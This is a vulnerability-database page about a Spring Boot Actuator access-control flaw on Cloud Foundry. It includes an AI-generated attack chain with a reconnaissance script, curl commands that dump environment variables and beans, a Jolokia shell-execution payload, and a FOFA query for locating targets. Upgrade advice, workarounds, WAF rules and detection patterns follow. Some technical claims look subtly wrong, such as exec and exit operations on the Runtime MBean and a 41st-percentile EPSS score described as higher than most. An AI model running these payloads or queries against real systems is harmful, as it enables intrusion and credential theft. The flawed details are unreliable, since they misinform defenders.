CVE Professor
/
All CVEs
CVE-2026-59411

CVE-2026-59411 — Spring Boot (4.1.2.1) — CRITICAL Vulnerability

CRITICAL CVSS 9.1 ⚡ EPSS 0.4% NVD

When a Servlet-based web application that uses Actuator is deployed to Cloud Foundry, Spring Boot's default web security is disabled. Reactive web applications or Servlet-based applications with custom security configuration are not affected.

When a Servlet-based web application that uses Actuator is deployed to Cloud Foundry, Spring Boot's default web security is disabled. Reactive web applications or Servlet-based applications with custom security configuration are not affected.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability None A:N
EPSS — Exploit Prediction Scoring System
0.4%
30-day probability
In the 41. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑59411 is a critical flaw that occurs when a Servlet‑based Spring Boot 4.1.2.1 application is deployed to Cloud Foundry and the Spring Actuator module is present.
Under these conditions, Spring Boot’s default web‑security configuration is automatically disabled. As a result, all Actuator endpoints (e.g. /actuator/health, /actuator/env, /actuator/beans, /actuator/jolokia, etc.) become unauthenticated and can be accessed by anyone who can reach the application’s HTTP interface.

Technical root cause

  • Missing authentication/authorization for Actuator endpoints.
  • The Spring Boot auto‑configuration that normally protects Actuator endpoints with the default BasicAuthenticationFilter is bypassed when the application is detected as running on Cloud Foundry and the Actuator starter is on the classpath.
  • The flaw is effectively a CWE‑284: Improper Access Control* (and CWE‑200: Information Exposure) because sensitive runtime data is exposed without any credentials.

    CVSS breakdown

  • AV:N – Network reachable
  • AC:L – Low attack complexity (no special conditions)
  • PR:N – No privileges required
  • UI:N – No user interaction needed
  • S:U – Unchanged (no scope change)
  • C:H / I:H – High confidentiality and integrity impact (information disclosure, potential RCE)
  • A:N – Availability not directly affected

  • ⚡ Attack Chain

    NOTE: The exact Actuator endpoint URI is not specified in the CVE description.
    The examples below use /actuator/health and /actuator/env as illustrative targets; any Actuator endpoint that is exposed will behave the same way.

    1. Discovery & Reconnaissance

    StepTechniqueWhat to look for
    a. Identify Spring BootHTTP header sniffing, /actuator/info (if exposed)X-Application-Context: spring-boot or X-Application-Context: spring-boot in response headers
    b. Detect Cloud FoundryInspect X-CF-Application-Instance-Id header or X-CF-Application-NamePresence of X-CF-Application-Instance-Id indicates CF runtime
    c. Verify Actuator presenceProbe /actuator/health200 OK with JSON payload indicates Actuator is enabled
    d. Confirm default security disabledAttempt unauthenticated access to a protected endpoint (e.g., /actuator/beans)200 OK (instead of 401/403) confirms security is disabled

    Example reconnaissance script (Python‑like pseudocode)

    import requests
    
    target = "https://app.example.com"
    
    # 1. Check for Cloud Foundry header
    resp = requests.get(target)
    if "X-CF-Application-Instance-Id" in resp.headers:
        print("[+] Running on Cloud Foundry")
    
    # 2. Probe Actuator health
    health = requests.get(f"{target}/actuator/health")
    if health.status_code == 200:
        print("[+] Actuator is enabled")
        print(health.json())
    
    # 3. Test security
    beans = requests.get(f"{target}/actuator/beans")
    if beans.status_code == 200:
        print("[+] Actuator endpoints are unauthenticated!")

    2. Exploitation

    Once the attacker knows that Actuator endpoints are exposed, they can:

    1. Enumerate runtime information
    * /actuator/env – environment variables, system properties
    * /actuator/beans – bean definitions, including potentially sensitive beans
    * /actuator/metrics – application metrics (CPU, memory, etc.)
    2. Invoke JMX operations via Jolokia (if the Jolokia actuator is present)
    * /actuator/jolokia/exec/java.lang:type=Runtime/exit – can terminate the JVM
    * /actuator/jolokia/exec/java.lang:type=Runtime/exec – arbitrary command execution (if the JVM allows it)
    3. Perform Remote Code Execution (RCE)
    * Use the Jolokia exec operation to run shell commands or upload a web shell.
    * Example: curl -X POST -H "Content-Type: application/json" -d '{"type":"exec","mbean":"java.lang:type=Runtime","operation":"exec","arguments":["/bin/sh","-c","id"]}' https://app.example.com/actuator/jolokia

    Illustrative PoC (curl)

    # 1. Grab environment variables
    curl -s https://app.example.com/actuator/env | jq .
    
    # 2. List all beans (may reveal passwords, secrets)
    curl -s https://app.example.com/actuator/beans | jq .
    
    # 3. Execute a command via Jolokia (if enabled)
    curl -s -X POST \
         -H "Content-Type: application/json" \
         -d '{"type":"exec","mbean":"java.lang:type=Runtime","operation":"exec","arguments":["/bin/sh","-c","id"]}' \
         https://app.example.com/actuator/jolokia
    Important: The above Jolokia payload is illustrative; the exact JSON structure depends on the Jolokia version. The key point is that the exec operation is available without authentication.

    3. Post‑exploitation

  • Data exfiltration – Dump environment variables, system properties, and bean definitions to gather credentials, API keys, or database URLs.
  • Privilege escalation – If the application runs under a privileged user, the attacker can use Jolokia to launch a shell with the same privileges.
  • Persistence – Upload a web shell or modify a bean that persists across restarts.
  • Denial of Service – Trigger heavy operations (e.g., java.lang:type=Runtime/exec with a long‑running command) to exhaust resources.

  • 🌍 Real World Impact

    ImpactDescription
    ConfidentialityHigh – Sensitive environment variables, secrets, and bean definitions are exposed.
    IntegrityHigh – Attackers can modify runtime configuration or invoke destructive JMX operations.
    AvailabilityNone – The vulnerability does not directly crash the application, but RCE could lead to DoS.

    Practical consequences

  • Credential theft – Environment variables often contain database passwords, OAuth secrets, or API keys.
  • RCE – Jolokia’s exec can run arbitrary commands, enabling full compromise of the host.
  • Audit trail tampering – By modifying beans or configuration, attackers can hide their tracks.
  • Regulatory risk – Exposure of personal data or PII via Actuator endpoints can violate GDPR, HIPAA, etc.

  • 🛡️ Remediation & Mitigation

    Affected Versions

  • Spring Boot 4.1.2.1 (Servlet‑based applications)
  • Upgrade Recommendation

  • Upgrade to Spring Boot 4.1.2.2 or later – The patch restores default security for Actuator endpoints on Cloud Foundry.
  • Verify the release notes of the new version for any additional security hardening.
  • Workarounds (if upgrade is not immediately possible)

    MethodImplementation
    Disable Actuator endpointsIn application.yml or application.properties:<br>management.endpoints.web.exposure.include=<br>or set to a whitelist of only safe endpoints.
    Require authenticationAdd a security configuration that protects /actuator/:<br>@Configuration<br>public class ActuatorSecurity extends WebSecurityConfigurerAdapter {<br> @Override protected void configure(HttpSecurity http) throws Exception {<br> http.requestMatchers().antMatchers("/actuator/").and().authorizeRequests().anyRequest().authenticated();<br> }<br>}
    Restrict by IPUse Cloud Foundry security groups or a WAF to allow only internal IPs to reach /actuator/.
    Disable Jolokia**If Jolokia is not needed, remove the spring-boot-starter-jolokia dependency or set:<br>management.endpoint.jolokia.enabled=false

    WAF / ModSecurity Rules (illustrative)

    # Block unauthenticated access to Actuator endpoints
    SecRule REQUEST_URI "@beginsWith /actuator/" \
        "phase:2,block,log,status:403,msg:'Unauthenticated Actuator access attempt'"
    
    # Allow only requests with Basic Auth header
    SecRule REQUEST_HEADERS:Authorization "@rx ^Basic " \
        "phase:2,allow"

    Detection

    Log PatternWhat to look for
    GET /actuator/* 200Successful unauthenticated access
    GET /actuator/* 401Attempted access that was blocked (if security is enabled)
    POST /actuator/jolokiaPotential RCE attempts
    GET /actuator/envExposure of environment variables

    Sample log entry (nginx)

    127.0.0.1 - - [02/Dec/2026:12:34:56 +0000] "GET /actuator/env HTTP/1.1" 200 1234 "-" "curl/7.68.0"

    ⚠️ Urgency

  • CVSS Score: 9.1 (Critical)
  • Exploit Complexity: Low (no special conditions)
  • Impact: High confidentiality & integrity loss, potential RCE
  • CISA KEV: No (but the risk is still high)
  • Patching priority: Immediate.

  • If the application is exposed to the public internet or to untrusted networks, patch or mitigate within 24 hours.

  • If the application is isolated behind a corporate firewall and only accessed by trusted users, a rapid mitigation (IP restriction or disabling Actuator) is still recommended until the patch can be applied.




Bottom line:
CVE‑2026‑59411 removes the default security layer for Actuator endpoints on Cloud Foundry, turning a normally protected diagnostic interface into an open door for attackers. The flaw is simple to exploit, can lead to full RCE, and should be addressed with an immediate upgrade or a robust workaround.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

body="Whitelabel Error Page"
CVSS Score
9.1 / 10 · CVSS CRITICAL
Affected Products (1)
Spring:Spring Boot (4.1.2.1)
References & Advisories (2)
Related CVEs
6.9
CVE-2026-144417
### Summary The dataset-preview endpoint `POST /jmreport/qurestSql` substitutes request parameters into the d
10.0
CVE-2026-133300
Incorrect authorization in Azure Center for SAP Solutions allows an unauthorized attacker to execute code over
10.0
CVE-2026-130609
Deserialization of untrusted data vulnerability in DİA Yazılım Sanayi ve Ticaret A.Ş. DİA ERP allows Cros
10.0
CVE-2026-144884
A vulnerability was determined in D-Link DIR-505 1.10B02. The affected element is the function get_input_entri
9.9
CVE-2026-45262
FacturaScripts is an open source accounting and invoicing software. Prior to version 2026.2, Core/Where.php::s
9.9
CVE-2026-77526
FacturaScripts is an open source accounting and invoicing software. From version 2025 to before version 2026.3
9.8
CVE-2026-139934
Microsoft Azure API Management contains an incorrect authorization vulnerability that allows an unauthenticate